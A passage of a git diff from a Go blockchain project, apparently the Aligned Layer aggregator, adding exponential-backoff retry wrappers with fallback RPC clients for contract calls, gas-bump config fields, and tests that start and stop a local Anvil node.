txGasPrice) + w.logger.Info("Transaction cost", "cost", txCost) + + batchState, err := w.BatchesStateRetryable(&bind.CallOpts{}, batchIdentifierHash) + if err != nil { + w.logger.Error("Failed to get batch state", "error", err) + w.logger.Info("Proceeding to check balances against transaction cost") + return w.compareBalances(txCost, aggregatorAddress, senderAddress) + } + respondToTaskFeeLimit := batchState.RespondToTaskFeeLimit + w.logger.Info("Checking balance against Batch RespondToTaskFeeLimit", "RespondToTaskFeeLimit", respondToTaskFeeLimit) + // Note: we compare both Aggregator funds and Batcher balance in Aligned against respondToTaskFeeLimit + // Batcher will pay up to respondToTaskFeeLimit, for this he needs that amount of funds in Aligned + // Aggregator will pay any extra cost, for this he needs at least respondToTaskFeeLimit in his balance return w.compareBalances(respondToTaskFeeLimit, aggregatorAddress, senderAddress) } @@ -147,15 +252,12 @@ func (w *AvsWriter) compareBalances(amount *big.Int, aggregatorAddress common.Ad func (w *AvsWriter) compareAggregatorBalance(amount *big.Int, aggregatorAddress common.Address) error { ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() - // Get Agg wallet balance - aggregatorBalance, err := w.Client.BalanceAt(ctx, aggregatorAddress, nil) + + aggregatorBalance, err := w.BalanceAtRetryable(ctx, aggregatorAddress, nil) if err != nil { - aggregatorBalance, err = w.ClientFallback.BalanceAt(ctx, aggregatorAddress, nil) - if err != nil { - // Ignore and continue. - w.logger.Error("failed to get aggregator balance: %v", err) - return nil - } + // Ignore and continue. + w.logger.Error("failed to get aggregator balance: %v", err) + return nil } w.logger.Info("Aggregator balance", "balance", aggregatorBalance) if aggregatorBalance.Cmp(amount) < 0 { @@ -166,14 +268,11 @@ func (w *AvsWriter) compareAggregatorBalance(amount *big.Int, aggregatorAddress func (w *AvsWriter) compareBatcherBalance(amount *big.Int, senderAddress [20]byte) error { // Get batcher balance - batcherBalance, err := w.AvsContractBindings.ServiceManager.BatchersBalances(&bind.CallOpts{}, senderAddress) + batcherBalance, err := w.BatcherBalancesRetryable(&bind.CallOpts{}, senderAddress) if err != nil { - batcherBalance, err = w.AvsContractBindings.ServiceManagerFallback.BatchersBalances(&bind.CallOpts{}, senderAddress) - if err != nil { - // Ignore and continue. - w.logger.Error("Failed to get batcherBalance", "error", err) - return nil - } + // Ignore and continue. + w.logger.Error("Failed to get batcherBalance", "error", err) + return nil } w.logger.Info("Batcher balance", "balance", batcherBalance) if batcherBalance.Cmp(amount) < 0 { diff --git a/core/chainio/retryable.go b/core/chainio/retryable.go new file mode 100644 index 000000000..ad44a2509 --- /dev/null +++ b/core/chainio/retryable.go @@ -0,0 +1,229 @@ +package chainio + +import ( + "context" + "math/big" + + "github.com/ethereum/go-ethereum" + "github.com/ethereum/go-ethereum/accounts/abi/bind" + "github.com/ethereum/go-ethereum/common" + "github.com/ethereum/go-ethereum/core/types" + "github.com/ethereum/go-ethereum/event" + servicemanager "github.com/yetanotherco/aligned_layer/contracts/bindings/AlignedLayerServiceManager" + retry "github.com/yetanotherco/aligned_layer/core" +) + +// |---AVS_WRITER---| + +/* +RespondToTaskV2Retryable +Send a transaction to the AVS contract to respond to a task. +- All errors are considered Transient Errors +- Retry times (3 retries): 12 sec (1 Blocks), 24 sec (2 Blocks), 48 sec (4 Blocks) +- NOTE: Contract call reverts are not considered `PermanentError`'s as block reorg's may lead to contract call revert in which case the aggregator should retry. +*/ +func (w *AvsWriter) RespondToTaskV2Retryable(opts *bind.TransactOpts, batchMerkleRoot [32]byte, senderAddress common.Address, nonSignerStakesAndSignature servicemanager.IBLSSignatureCheckerNonSignerStakesAndSignature) (*types.Transaction, error) { + respondToTaskV2_func := func() (*types.Transaction, error) { + // Try with main connection + tx, err := w.AvsContractBindings.ServiceManager.RespondToTaskV2(opts, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) + if err != nil { + // If error try with fallback + tx, err = w.AvsContractBindings.ServiceManagerFallback.RespondToTaskV2(opts, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) + } + + return tx, err + } + return retry.RetryWithData(respondToTaskV2_func, retry.MinDelayChain, retry.RetryFactor, retry.NumRetries, retry.MaxIntervalChain, retry.MaxElapsedTime) +} + +/* +BatchesStateRetryable +Get the state of a batch from the AVS contract. +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec +*/ +func (w *AvsWriter) BatchesStateRetryable(opts *bind.CallOpts, arg0 [32]byte) (struct { + TaskCreatedBlock uint32 + Responded bool + RespondToTaskFeeLimit *big.Int +}, error) { + + batchesState_func := func() (struct { + TaskCreatedBlock uint32 + Responded bool + RespondToTaskFeeLimit *big.Int + }, error) { + // Try with main connection + state, err := w.AvsContractBindings.ServiceManager.BatchesState(opts, arg0) + if err != nil { + // If error try with fallback connection + state, err = w.AvsContractBindings.ServiceManagerFallback.BatchesState(opts, arg0) + } + return state, err + } + return retry.RetryWithData(batchesState_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + +/* +BatcherBalancesRetryable +Get the balance of a batcher from the AVS contract. +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec +*/ +func (w *AvsWriter) BatcherBalancesRetryable(opts *bind.CallOpts, senderAddress common.Address) (*big.Int, error) { + batcherBalances_func := func() (*big.Int, error) { + // Try with main connection + batcherBalance, err := w.AvsContractBindings.ServiceManager.BatchersBalances(opts, senderAddress) + if err != nil { + // If error try with fallback connection + batcherBalance, err = w.AvsContractBindings.ServiceManagerFallback.BatchersBalances(opts, senderAddress) + } + return batcherBalance, err + } + return retry.RetryWithData(batcherBalances_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + +/* +BalanceAtRetryable +Get the balance of aggregatorAddress at blockNumber. +If blockNumber is nil, it gets the latest balance. +TODO: it gets the balance from an Address, not necessarily an aggregator. The name of the parameter should be changed. +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec. +*/ +func (w *AvsWriter) BalanceAtRetryable(ctx context.Context, aggregatorAddress common.Address, blockNumber *big.Int) (*big.Int, error) { + balanceAt_func := func() (*big.Int, error) { + // Try with main connection + aggregatorBalance, err := w.Client.BalanceAt(ctx, aggregatorAddress, blockNumber) + if err != nil { + // If error try with fallback connection + aggregatorBalance, err = w.ClientFallback.BalanceAt(ctx, aggregatorAddress, blockNumber) + } + return aggregatorBalance, err + } + return retry.RetryWithData(balanceAt_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + +// |---AVS_SUBSCRIBER---| + +/* +BlockNumberRetryable +Get the latest block number from Ethereum +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec. +*/ +func (s *AvsSubscriber) BlockNumberRetryable(ctx context.Context) (uint64, error) { + latestBlock_func := func() (uint64, error) { + // Try with main connection + latestBlock, err := s.AvsContractBindings.ethClient.BlockNumber(ctx) + if err != nil { + // If error try with fallback connection + latestBlock, err = s.AvsContractBindings.ethClientFallback.BlockNumber(ctx) + } + return latestBlock, err + } + return retry.RetryWithData(latestBlock_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + +/* +FilterBatchV2Retryable +Get NewBatchV2 logs from the AVS contract. +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec. +*/ +func (s *AvsSubscriber) FilterBatchV2Retryable(opts *bind.FilterOpts, batchMerkleRoot [][32]byte) (*servicemanager.ContractAlignedLayerServiceManagerNewBatchV2Iterator, error) { + filterNewBatchV2_func := func() (*servicemanager.ContractAlignedLayerServiceManagerNewBatchV2Iterator, error) { + return s.AvsContractBindings.ServiceManager.FilterNewBatchV2(opts, batchMerkleRoot) + } + return retry.RetryWithData(filterNewBatchV2_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + +/* +FilterBatchV3Retryable +Get NewBatchV3 logs from the AVS contract. +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec. +*/ +func (s *AvsSubscriber) FilterBatchV3Retryable(opts *bind.FilterOpts, batchMerkleRoot [][32]byte) (*servicemanager.ContractAlignedLayerServiceManagerNewBatchV3Iterator, error) { + filterNewBatchV2_func := func() (*servicemanager.ContractAlignedLayerServiceManagerNewBatchV3Iterator, error) { + return s.AvsContractBindings.ServiceManager.FilterNewBatchV3(opts, batchMerkleRoot) + } + return retry.RetryWithData(filterNewBatchV2_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + +/* +BatchesStateRetryable +Get the state of a batch from the AVS contract. +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec +*/ +func (s *AvsSubscriber) BatchesStateRetryable(opts *bind.CallOpts, arg0 [32]byte) (struct { + TaskCreatedBlock uint32 + Responded bool + RespondToTaskFeeLimit *big.Int +}, error) { + batchState_func := func() (struct { + TaskCreatedBlock uint32 + Responded bool + RespondToTaskFeeLimit *big.Int + }, error) { + return s.AvsContractBindings.ServiceManager.ContractAlignedLayerServiceManagerCaller.BatchesState(opts, arg0) + } + + return retry.RetryWithData(batchState_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + +/* +SubscribeNewHeadRetryable +Subscribe to new heads from the Ethereum node. +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec. +*/ +func (s *AvsSubscriber) SubscribeNewHeadRetryable(ctx context.Context, c chan<- *types.Header) (ethereum.Subscription, error) { + subscribeNewHead_func := func() (ethereum.Subscription, error) { + // Try with main connection + sub, err := s.AvsContractBindings.ethClient.SubscribeNewHead(ctx, c) + if err != nil { + // If error try with fallback connection + sub, err = s.AvsContractBindings.ethClientFallback.SubscribeNewHead(ctx, c) + } + return sub, err + } + return retry.RetryWithData(subscribeNewHead_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + +/* +SubscribeToNewTasksV2Retryable +Subscribe to NewBatchV2 logs from the AVS contract. +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec. +*/ +func SubscribeToNewTasksV2Retryable( + opts *bind.WatchOpts, + serviceManager *servicemanager.ContractAlignedLayerServiceManager, + newTaskCreatedChan chan *servicemanager.ContractAlignedLayerServiceManagerNewBatchV2, + batchMerkleRoot [][32]byte, +) (event.Subscription, error) { + subscribe_func := func() (event.Subscription, error) { + return serviceManager.WatchNewBatchV2(opts, newTaskCreatedChan, batchMerkleRoot) + } + return retry.RetryWithData(subscribe_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + +/* +SubscribeToNewTasksV3Retryable +Subscribe to NewBatchV3 logs from the AVS contract. +- All errors are considered Transient Errors +- Retry times (3 retries): 1 sec, 2 sec, 4 sec. +*/ +func SubscribeToNewTasksV3Retryable( + opts *bind.WatchOpts, + serviceManager *servicemanager.ContractAlignedLayerServiceManager, + newTaskCreatedChan chan *servicemanager.ContractAlignedLayerServiceManagerNewBatchV3, + batchMerkleRoot [][32]byte, +) (event.Subscription, error) { + subscribe_func := func() (event.Subscription, error) { + return serviceManager.WatchNewBatchV3(opts, newTaskCreatedChan, batchMerkleRoot) + } + return retry.RetryWithData(subscribe_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} diff --git a/core/config/aggregator.go b/core/config/aggregator.go index e38e76b78..a55da8193 100644 --- a/core/config/aggregator.go +++ b/core/config/aggregator.go @@ -24,6 +24,10 @@ type AggregatorConfig struct { GarbageCollectorPeriod time.Duration GarbageCollectorTasksAge uint64 GarbageCollectorTasksInterval uint64 + BlsServiceTaskTimeout time.Duration + GasBaseBumpPercentage uint + GasBumpIncrementalPercentage uint + TimeToWaitBeforeBump time.Duration } } @@ -38,6 +42,10 @@ type AggregatorConfigFromYaml struct { GarbageCollectorPeriod time.Duration `yaml:"garbage_collector_period"` GarbageCollectorTasksAge uint64 `yaml:"garbage_collector_tasks_age"` GarbageCollectorTasksInterval uint64 `yaml:"garbage_collector_tasks_interval"` + BlsServiceTaskTimeout time.Duration `yaml:"bls_service_task_timeout"` + GasBaseBumpPercentage uint `yaml:"gas_base_bump_percentage"` + GasBumpIncrementalPercentage uint `yaml:"gas_bump_incremental_percentage"` + TimeToWaitBeforeBump time.Duration `yaml:"time_to_wait_before_bump"` } `yaml:"aggregator"` } @@ -82,6 +90,10 @@ func NewAggregatorConfig(configFilePath string) *AggregatorConfig { GarbageCollectorPeriod time.Duration GarbageCollectorTasksAge uint64 GarbageCollectorTasksInterval uint64 + BlsServiceTaskTimeout time.Duration + GasBaseBumpPercentage uint + GasBumpIncrementalPercentage uint + TimeToWaitBeforeBump time.Duration }(aggregatorConfigFromYaml.Aggregator), } } diff --git a/core/retry.go b/core/retry.go new file mode 100644 index 000000000..fe872f658 --- /dev/null +++ b/core/retry.go @@ -0,0 +1,184 @@ +package retry + +import ( + "fmt" + "time" + + "github.com/cenkalti/backoff/v4" +) + +/* +Note we use a custom Permanent error type for asserting Permanent Erros within the retry library. +We do not implement an explicit Transient error type and operate under the assumption that all errors that are not Permanent are Transient. +*/ +type PermanentError struct { + Inner error +} + +func (e PermanentError) Error() string { return e.Inner.Error() } +func (e PermanentError) Unwrap() error { + return e.Inner +} +func (e PermanentError) Is(err error) bool { + _, ok := err.(PermanentError) + return ok +} + +const ( + MinDelay = 1 * time.Second // Initial delay for retry interval. + MaxInterval = 60 * time.Second // Maximum interval an individual retry may have. + MaxElapsedTime = 0 * time.Second // Maximum time all retries may take. `0` corresponds to no limit on the time of the retries. + RetryFactor float64 = 2 // Multiplier factor computed exponential retry interval is scaled by. + NumRetries uint64 = 3 // Total number of retries attempted. + MinDelayChain = 12 * time.Second // Initial delay for retry interval for contract calls. Corresponds to 1 ethereum block. + MaxIntervalChain = 2 * time.Minute // Maximum interval for an individual retry. +) + +/* +Retry and RetryWithData are custom retry functions used in Aligned's aggregator and operator to facilitate consistent retry logic across the system. +They are interfaces for around Cenk Alti (https://github.com/cenkalti) backoff library (https://github.com/cenkalti/backoff). We would like to thank him for his great work. + +The `Retry` and `RetryWithData` retry a supplied function at maximum `NumRetries` number of times. Upon execution, if the called function returns an error the retry library either re-executes the function (Transient Error) or exits and returns the error to the calling context (Permanent error) . +If the call is successful and no error is returned the library returns the result. `Permanent` errors are explicitly typed while `Transient` errors are implied by go's builtin error type. +For completeness: + +Transient: The error is recoverable and the function is retried after failing. `Transient` errors do not have a defined error type and are implicitly defined by go's builtin `error` type. + +Permanent: The error is not recoverable by retrying and the error to the calling context. Permanent errors are explicitly typed and defined by wrapping the err within with `PermanentError` type. + +Usage of `RetryWithData` is shown in the following example: +``` + sendUserMsg_func := func() (*types.Transaction, error) { + res, err := sendUserMessage(opts, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) + if err != nil { + // Detect Permanent error by checking contents of returned error message. + if strings.Contains(err.Error(), "client error: User not registered:") { + err = retry.PermanentError{Inner: err} + } + } + return res, err + } + err := retry.Retry(sendUserMsg_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) + if err != nil { + fmt.Printf("error: %v\n", err) + } +``` + +# Retry Intervals: +The backoff period for each retry attempt increases using a randomization function that grows exponentially. + +retryinterval = + currentRetryinterval * (random value in range [1 - randomizationfactor, 1 + randomizationfactor]) * retryFactor + +This library defaults to the use of the following parameters: + +randomizationFactor = 0.5 // Randomization factor that maps the interval increase within a range around the computed retry interval. +initialRetryInterval = 1 sec // Initial value used in the retry interval +Multiplier = 2 // Multiplier used to scale the values. + +# Default intervals for Retries (sec) +request retry_interval (1 sec) randomized_interval (0.5) randomized_interval_scaled (2) + 1 1 [0.5, 1.5] [1, 3] + 2 2 [1, 3] [2, 6] + 3 4 [2, 6] [4, 12] + +# Default intervals for Contract Calls (sec) +request retry_interval (12 sec) randomized_interval (0.5) randomized_interval_scaled (2) + 1 12 [6, 18] [12, 36] + 2 24 [12, 36] [24, 72] + 3 48 [24, 72]` [48, 144]` + +Reference: https://github.com/cenkalti/backoff/blob/v4/exponential.go#L9 +*/ + +// Same as Retry only that the functionToRetry can return a value upon correct execution +func RetryWithData[T any](functionToRetry func() (T, error), minDelay time.Duration, factor float64, maxTries uint64, maxInterval time.Duration, maxElapsedTime time.Duration) (T, error) { + f := func() (T, error) { + var ( + val T + err error + ) + func() { + defer func() { + if r := recover(); r != nil { + if panic_err, ok := r.(error); ok { + err = panic_err + } else { + err = fmt.Errorf("RetryWithData panicked: %v", panic_err) + } + } + }() + val, err = functionToRetry() + // Convert the returned `PermanentError` (our implementation) to `backoff.PermanentError`. + //This exits the retry loop in the `backoff` library. + if perm, ok := err.(PermanentError); err != nil && ok { + err = backoff.Permanent(perm.Inner) + } + }() + return val, err + } + + randomOption := backoff.WithRandomizationFactor(0) + + initialRetryOption := backoff.WithInitialInterval(minDelay) + multiplierOption := backoff.WithMultiplier(factor) + maxIntervalOption := backoff.WithMaxInterval(maxInterval) + maxElapsedTimeOption := backoff.WithMaxElapsedTime(maxElapsedTime) + expBackoff := backoff.NewExponentialBackOff(randomOption, multiplierOption, initialRetryOption, maxIntervalOption, maxElapsedTimeOption) + var maxRetriesBackoff backoff.BackOff + + if maxTries > 0 { + maxRetriesBackoff = backoff.WithMaxRetries(expBackoff, maxTries) + } else { + maxRetriesBackoff = expBackoff + } + + return backoff.RetryWithData(f, maxRetriesBackoff) +} + +// Retries a given function in an exponential backoff manner. +// It will retry calling the function while it returns an error, until the max retries. +// If maxTries == 0 then the retry function will run indefinitely until success +// from the configuration are reached, or until a `PermanentError` is returned. +// The function to be retried should return `PermanentError` when the condition for stop retrying +// is met. +func Retry(functionToRetry func() error, minDelay time.Duration, factor float64, maxTries uint64, maxInterval time.Duration, maxElapsedTime time.Duration) error { + f := func() error { + var err error + func() { + defer func() { + if r := recover(); r != nil { + if panic_err, ok := r.(error); ok { + err = panic_err + } else { + err = fmt.Errorf("Retry panicked: %v", panic_err) + } + } + }() + err = functionToRetry() + // Convert the returned `PermanentError` (our implementation) to a `backoff.PermanentError`. + //This exits the retry loop in the `backoff` library. + if perm, ok := err.(PermanentError); err != nil && ok { + err = backoff.Permanent(perm.Inner) + } + }() + return err + } + + randomOption := backoff.WithRandomizationFactor(0) + + initialRetryOption := backoff.WithInitialInterval(minDelay) + multiplierOption := backoff.WithMultiplier(factor) + maxIntervalOption := backoff.WithMaxInterval(maxInterval) + maxElapsedTimeOption := backoff.WithMaxElapsedTime(maxElapsedTime) + expBackoff := backoff.NewExponentialBackOff(randomOption, multiplierOption, initialRetryOption, maxIntervalOption, maxElapsedTimeOption) + var maxRetriesBackoff backoff.BackOff + + if maxTries > 0 { + maxRetriesBackoff = backoff.WithMaxRetries(expBackoff, maxTries) + } else { + maxRetriesBackoff = expBackoff + } + + return backoff.Retry(f, maxRetriesBackoff) +} diff --git a/core/retry_test.go b/core/retry_test.go new file mode 100644 index 000000000..4a725fb6a --- /dev/null +++ b/core/retry_test.go @@ -0,0 +1,871 @@ +package retry_test + +import ( + "context" + "fmt" + "log" + "math/big" + "os" + "os/exec" + "strconv" + "strings" + "syscall" + "testing" + "time" + + "github.com/Layr-Labs/eigensdk-go/chainio/clients/eth" + rpccalls "github.com/Layr-Labs/eigensdk-go/metrics/collectors/rpc_calls" + backoff "github.com/cenkalti/backoff/v4" + "github.com/ethereum/go-ethereum/accounts/abi/bind" + "github.com/ethereum/go-ethereum/common" + "github.com/ethereum/go-ethereum/core/types" + "github.com/prometheus/client_golang/prometheus" + "github.com/stretchr/testify/assert" + servicemanager "github.com/yetanotherco/aligned_layer/contracts/bindings/AlignedLayerServiceManager" + retry "github.com/yetanotherco/aligned_layer/core" + "github.com/yetanotherco/aligned_layer/core/chainio" + "github.com/yetanotherco/aligned_layer/core/config" + "github.com/yetanotherco/aligned_layer/core/utils" +) + +func DummyFunction(x uint64) (uint64, error) { + if x == 42 { + return 0, retry.PermanentError{Inner: fmt.Errorf("Permanent error!")} + } else if x < 42 { + return 0, fmt.Errorf("Transient error!") + } + return x, nil +} + +func TestRetryWithData(t *testing.T) { + function := func() (*uint64, error) { + x, err := DummyFunction(43) + return &x, err + } + _, err := retry.RetryWithData(function, 1000, 2, 3, retry.MaxInterval, retry.MaxElapsedTime) + if err != nil { + t.Errorf("Retry error!: %s", err) + } +} + +func TestRetry(t *testing.T) { + function := func() error { + _, err := DummyFunction(43) + return err + } + err := retry.Retry(function, 1000, 2, 3, retry.MaxInterval, retry.MaxElapsedTime) + if err != nil { + t.Errorf("Retry error!: %s", err) + } +} + +/* +Starts an anvil instance via the cli. +Assumes that anvil is installed but checks. +*/ +func SetupAnvil(port uint16) (*exec.Cmd, *eth.InstrumentedClient, error) { + + path, err := exec.LookPath("anvil") + if err != nil { + fmt.Printf("Could not find `anvil` executable in `%s`\n", path) + } + + port_str := strconv.Itoa(int(port)) + http_rpc_url := fmt.Sprintf("http://localhost:%d", port) + + // Create a command + cmd := exec.Command("anvil", "--port", port_str, "--load-state", "../contracts/scripts/anvil/state/alignedlayer-deployed-anvil-state.json", "--block-time", "3") + cmd.SysProcAttr = &syscall.SysProcAttr{ + Setpgid: true, + } + + // Run the command + err = cmd.Start() + if err != nil { + fmt.Printf("Error: %s\n", err) + } + + // Delay needed for anvil to start + time.Sleep(750 * time.Millisecond) + + reg := prometheus.NewRegistry() + rpcCallsCollector := rpccalls.NewCollector("ethRpc", reg) + ethRpcClient, err := eth.NewInstrumentedClient(http_rpc_url, rpcCallsCollector) + if err != nil { + log.Fatal("Error initializing eth rpc client: ", err) + } + + return cmd, ethRpcClient, nil +} + +func TestAnvilSetupKill(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + log.Fatal("Error setting up Anvil: ", err) + } + + // Get Anvil PID + pid := cmd.Process.Pid + p, err := os.FindProcess(pid) + if err != nil { + log.Fatal("Error finding Anvil Process: ", err) + } + err = p.Signal(syscall.Signal(0)) + assert.Nil(t, err, "Anvil Process Killed") + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + // Check that PID is not currently present in running processes. + // FindProcess always succeeds so on Unix systems we call it below. + p, err = os.FindProcess(pid) + if err != nil { + log.Fatal("Error finding Anvil Process: ", err) + } + // Ensure process has exited + err = p.Signal(syscall.Signal(0)) + + assert.Nil(t, err, "Anvil Process Killed") +} + +// |--Aggreagator Retry Tests--| + +func TestWaitForTransactionReceipt(t *testing.T) { + + to := common.BytesToAddress([]byte{0x11}) + tx := types.NewTx(&types.AccessListTx{ + ChainID: big.NewInt(1337), + Nonce: 1, + GasPrice: big.NewInt(11111), + Gas: 1111, + To: &to, + Value: big.NewInt(111), + Data: []byte{0x11, 0x11, 0x11}, + }) + + hash := tx.Hash() + + cmd, client, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + // Assert Call succeeds when Anvil running + _, err = utils.WaitForTransactionReceiptRetryable(*client, *client, hash, time.Second*45) + assert.NotNil(t, err, "Error Waiting for Transaction with Anvil Running: %s\n", err) + if !strings.Contains(err.Error(), "not found") { + t.Errorf("WaitForTransactionReceipt Emitted incorrect error: %s\n", err) + return + } + + if err = cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = utils.WaitForTransactionReceiptRetryable(*client, *client, hash, time.Second*45) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("WaitForTransactionReceipt Emitted non Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("WaitForTransactionReceipt Emitted non Transient error: %s\n", err) + return + } + + cmd, client, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = utils.WaitForTransactionReceiptRetryable(*client, *client, hash, time.Second*45) + assert.NotNil(t, err) + if !strings.Contains(err.Error(), "not found") { + t.Errorf("WaitForTransactionReceipt Emitted incorrect error: %s\n", err) + return + } + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} + +// NOTE: The following tests involving starting the aggregator panic after the connection to anvil is cut crashing the test runner. +// The originates within the eigen-sdk and as of 8/11/24 is currently working to be fixed. + +/* +func TestInitializeNewTask(t *testing.T) { + + _, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + agg, err := aggregator.NewAggregator(*aggregatorConfig) + if err != nil { + aggregatorConfig.BaseConfig.Logger.Error("Cannot create aggregator", "err", err) + return + } + quorumNums := eigentypes.QuorumNums{eigentypes.QuorumNum(byte(0))} + quorumThresholdPercentages := eigentypes.QuorumThresholdPercentages{eigentypes.QuorumThresholdPercentage(byte(57))} + + err = agg.InitializeNewTask(0, 1, quorumNums, quorumThresholdPercentages, 1*time.Second) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("error killing process: %v\n", err) + return + } + + err = agg.InitializeNewTask(0, 1, quorumNums, quorumThresholdPercentages, 1*time.Second) + assert.NotNil(t, err) + t.Errorf("Error setting Avs Subscriber: %s\n", err) + + _, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + err = agg.InitializeNewTask(0, 1, quorumNums, quorumThresholdPercentages, 1*time.Second) + assert.Nil(t, err) + t.Errorf("Error setting Avs Subscriber: %s\n", err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("error killing process: %v\n", err) + return + } +} +*/ + +/* +func TestGetTaskIndex(t *testing.T) { + + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + agg, err := aggregator.NewAggregator(*aggregatorConfig) + if err != nil { + aggregatorConfig.BaseConfig.Logger.Error("Cannot create aggregator", "err", err) + return + } + zero_bytes := [32]byte{} + + // Task is not present in map should return transient error + _, err = agg.GetTaskIndex(zero_bytes) + assert.NotNil(t, err) + if !strings.Contains(err.Error(), "Task not found in the internal map") { + t.Errorf("WaitForTransactionReceipt Emitted non Transient error: %s\n", err) + return + } + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("error killing process: %v\n", err) + return + } +} +*/ + +/* +// |--Server Retry Tests--| +func TestProcessNewSignature(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + agg, err := aggregator.NewAggregator(*aggregatorConfig) + if err != nil { + aggregatorConfig.BaseConfig.Logger.Error("Cannot create aggregator", "err", err) + return + } + zero_bytes := [32]byte{} + zero_sig := bls.NewZeroSignature() + eigen_bytes := eigentypes.Bytes32{} + + err = agg.ProcessNewSignature(context.Background(), 0, zero_bytes, zero_sig, eigen_bytes) + assert.NotNil(t, err) + + // Kill Anvil at end of test + if err := cmd.Process.Kill(); err != nil { + t.Errorf("error killing process: %v\n", err) + return + } + + err = agg.ProcessNewSignature(context.Background(), 0, zero_bytes, zero_sig, eigen_bytes) + assert.NotNil(t, err) + t.Errorf("Error Processing New Signature: %s\n", err) + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + err = agg.ProcessNewSignature(context.Background(), 0, zero_bytes, zero_sig, eigen_bytes) + assert.Nil(t, err) + t.Errorf("Error Processing New Signature: %s\n", err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("error killing process: %v\n", err) + return + } +} +*/ + +// |--AVS-Subscriber Retry Tests--| + +func TestSubscribeToNewTasksV3(t *testing.T) { + cmd, _, err := SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + channel := make(chan *servicemanager.ContractAlignedLayerServiceManagerNewBatchV3) + aggregatorConfig := config.NewAggregatorConfig("../config-files/config-aggregator-test.yaml") + baseConfig := aggregatorConfig.BaseConfig + s, err := chainio.NewAvsServiceBindings( + baseConfig.AlignedLayerDeploymentConfig.AlignedLayerServiceManagerAddr, + baseConfig.AlignedLayerDeploymentConfig.AlignedLayerOperatorStateRetrieverAddr, + baseConfig.EthWsClient, baseConfig.EthWsClientFallback, baseConfig.Logger) + if err != nil { + t.Errorf("Error setting up Avs Service Bindings: %s\n", err) + } + + _, err = chainio.SubscribeToNewTasksV3Retryable(&bind.WatchOpts{}, s.ServiceManager, channel, nil) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } + + _, err = chainio.SubscribeToNewTasksV3Retryable(&bind.WatchOpts{}, s.ServiceManager, channel, nil) + assert.NotNil(t, err) + if _, ok := err.(retry.PermanentError); ok { + t.Errorf("SubscribeToNewTasksV3 Emitted non Transient error: %s\n", err) + return + } + if !strings.Contains(err.Error(), "connect: connection refused") { + t.Errorf("SubscribeToNewTasksV3 Emitted non Transient error: %s\n", err) + return + } + + cmd, _, err = SetupAnvil(8545) + if err != nil { + t.Errorf("Error setting up Anvil: %s\n", err) + } + + _, err = chainio.SubscribeToNewTasksV3Retryable(&bind.WatchOpts{}, s.ServiceManager, channel, nil) + assert.Nil(t, err) + + if err := cmd.Process.Kill(); err != nil { + t.Errorf("Error killing process: %v\n", err) + return + } +} + +func 